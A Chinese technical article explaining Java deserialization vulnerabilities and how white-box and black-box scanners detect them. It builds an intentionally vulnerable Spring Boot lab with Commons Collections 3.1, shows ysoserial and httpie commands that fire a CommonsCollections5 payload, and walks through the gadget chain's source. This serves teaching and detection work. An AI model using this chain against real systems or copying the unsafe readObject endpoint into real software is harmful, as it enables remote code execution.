帶你掌握java反序列化漏洞及其檢測

摘要:在本文中將先介紹java反序列化漏洞的原理,然後在此基礎上介紹安全工具如何檢測、掃描此類漏洞。

本文分享自華爲雲社區《java反序列化漏洞及其檢測》,作者: alpha1e0。

1 java反序列化簡介

java反序列化是近些年安全業界研究的重點領域之一,在Apache Commons Collections 、JBoss 、WebLogic 等常見容器、庫中均發現有該類漏洞,而且該類型漏洞容易利用,造成的破壞很大,因此影響廣泛。

在本文中將先介紹java反序列化漏洞的原理,然後在此基礎上介紹安全工具如何檢測、掃描此類漏洞。

1.1 什麼是反序列化

Java 序列化是指把 Java 對象轉換爲字節序列的過程,序列化後的字節數據可以保存在文件、數據庫中;而Java 反序列化是指把字節序列恢復爲 Java 對象的過程。如下圖所示:

序列化和反序列化通過ObjectInputStream.readObject()和ObjectOutputStream.writeObject()方法實現。

在java中任何類如果想要序列化必須實現java.io.Serializable接口,例如:

public class Hello implements java.io.Serializable {
    String name;
}

java.io.Serializable其實是一個空接口,在java中該接口的唯一作用是對一個類做一個 標記 讓jre確定這個類是可以序列化的。

同時java中支持在類中定義如下函數:

private void writeObject(java.io.ObjectOutputStream out)
       throws IOException
private void readObject(java.io.ObjectInputStream in)
       throws IOException, ClassNotFoundException;

這兩個函數不是java.io.Serializable的接口函數,而是約定的函數,如果一個類實現了這兩個函數,那麼在序列化和反序列化的時候ObjectInputStream.readObject()和ObjectOutputStream.writeObject()會主動調用這兩個函數。這也是反序列化產生的根本原因

例如:

public class Hello implements java.io.Serializable {
    String name;
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        Runtime.getRuntime().exec(name);
    }
}

該類在反序列化的時候會執行命令,我們構造一個序列化的對象,name爲惡意命令,那麼在反序列化的時候就會執行惡意命令。

在反序列化的過程中,攻擊者僅能夠控制“數據”,無法控制如何執行,因此必須藉助被攻擊應用中的具體場景來實現攻擊目的,例如上例中存在一個執行命令的可以序列化的類(Hello),利用該類的readObject函數中的命令執行場景來實現攻擊

1.2 反序列化漏洞示例復現

在這裏我們構造一個有漏洞的靶場進行漏洞復現測試:使用spring-boot編寫一個可以接收http數據並反序列化的應用程序。

使用  生成一個spring-boot應用,選擇Maven Project、java8

下載到本地,導入IDE,修改 pom.xml 加入 Apache Commons Collections 3.1 依賴(該版本存在反序列化漏洞)

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.1</version>
</dependency>

修改 DemoApplication.java 爲如下代碼

package com.example.demo;

import java.io.IOException;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.GetMapping;

@SpringBootApplication
@RestController
public class DemoApplication {
    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

    @GetMapping("/hello")
    public String hello() {
        return "hello world";
    }

    // 反序列化接口
    @PostMapping("/rmi")
    public String rmi(HttpServletRequest request) {
        try {
            ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
            Object obj = (Object) ois.readObject();
            return "unmarshal " + obj.getClass().getName() + " ok";
        } catch (ClassNotFoundException | IOException e) {
            return "unmarshal failed";
        }
    }
}

此時我們就完成了一個有 Apache Commons Collections 漏洞的驗證靶場,啓動該靶場應用

我們使用ysoserial 生成攻擊payload:

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc

然後使用httpie 發送攻擊payload(poc)

http post http://127.0.0.1:8080/rmi < poc

這時候就可以看到poc中的命令執行了

1.3 反序列化漏洞解析

在1.2 的示例中我們使用了 ysoserial 的 CommonsCollections5 這個payload,本節我們對此poc進行分析

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(  // 執行“鏈條”該類的transform會調用transformer使用反射執行命令
            new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),   // 這裏是我們輸入的命令 calc.exe 
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  // 該類的get接口如果輸入的key找不到會調用transform函數觸發命令執行

    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");  // 該類的toString會最終調用lazyMap.get

    BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最終反序列化的類,readObject會調用entry.toString
    Field valfield = val.getClass().getDeclaredField("val");
    Reflections.setAccessible(valfield);
    valfield.set(val, entry);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 

    return val;
}

可以最終反序列化的對象爲 javax.management.BadAttributeValueExpException ,在該類提供了 readObject 方法,在其中有問題的地方爲

val = valObj.toString();

這裏的 valObj 爲 TiedMapEntry(lazyMap, “foo”) ,該類的toString方法

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

其中 this.getValue 爲

public Object getValue() {
    return this.map.get(this.key);
}

而 this.map 爲 lazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中

public Object get(Object key) {
    if (!super.map.containsKey(key)) {  // 當找不到key的時候調用transform
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

在其中看到,沒有找到key的時候,調用了 this.factory.transform(key)

而this.factory爲我們構造的包含payload的執行鏈 transformerChain 該transformer會最終通過反射執行命令。

2 java反序列化漏洞檢測

在1中的原理介紹中,我們可以看到,反序列化漏洞需要依賴執行鏈來完成攻擊payload執行。由於反序列化漏洞的特性,在檢測的時候漏洞掃描工具一般聚焦已知漏洞的檢測,而未知漏洞的檢測,安全工具能力非常有限,一般需要專業人員通過安全審計、代碼審計等方式發現。

java反序列化漏洞依賴於兩個因素:

  1. 應用是否有反序列化接口
  2. 應用中是否包含有漏洞的組件

因此對應的漏洞掃描工具也需要根據這兩個因素進行檢測。

2.1 白盒工具檢測

白盒代碼審計工具,可通過在調用鏈中查找是否有發序列化的操作:

  • 調用鏈的入口不同框架是不同的,例如在1.2例子中調用鏈的入口爲spring-boot的controller。
  • 調用鏈中一旦發現有發序列化操作ObjectInputStream.readObject()則該接口存在序列化操作

但僅僅依靠以上信息不足以判斷是否存在漏洞,還需要判斷代碼中是否有存在*執行鏈**的三方依賴。在java中,一般通過分析 pox.xml build.gradle 文件來分析是否包含有漏洞的組件。

2.2 黑盒漏洞掃描器檢測

web漏洞掃描器檢測原理和白盒工具不一樣。

首先漏洞掃描器要解決的是識別出反序列化的請求,在這裏需要注意的是web漏洞掃描是無法通過爬蟲方式直接發現反序列化接口的,因此往往需要配合其他web漏洞掃描器的組件(例如代理組件)來識別反序列化接口,如下圖所示

如今web漏洞掃描器都提供了代理組件來發現應用的http請求,爬蟲組件可通過前臺頁面觸發請求進入代理組件;但在API場景下,還是需要測試人員進行API調用該操作才能夠產生http請求數據。

在截獲到http請求數據後,代理組件可以通過兩種方式判斷一個請求是否是序列化請求:

  1. 通過http請求的Content-Type,具體來說ContentType: application/x-java-serialized-object 是序列化請求的請求頭
  2. 檢查請求數據的開頭是否是 0xaced,有時候序列化請求不存在正確的content-type,此時需要根據數據來判斷是否是序列化請求

在確定一個接口是序列化接口的時候會漏洞掃描器會發送探測payload判斷接口是否有反序列化漏洞,這裏的攻擊payload類似於1.2節中使用的ysoserial 工具,由於絕大多數情況下不可能看到回顯(http返回數據沒有攻擊執行結果),因此只能進行盲注,即發送 sleep 10 這樣的命令,根據響應時間判斷是否有漏洞。

文末福利:華爲雲漏洞掃描服務VSS 基礎版限時免費體驗>>>

 

點擊關注,第一時間瞭解華爲雲新鮮技術~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章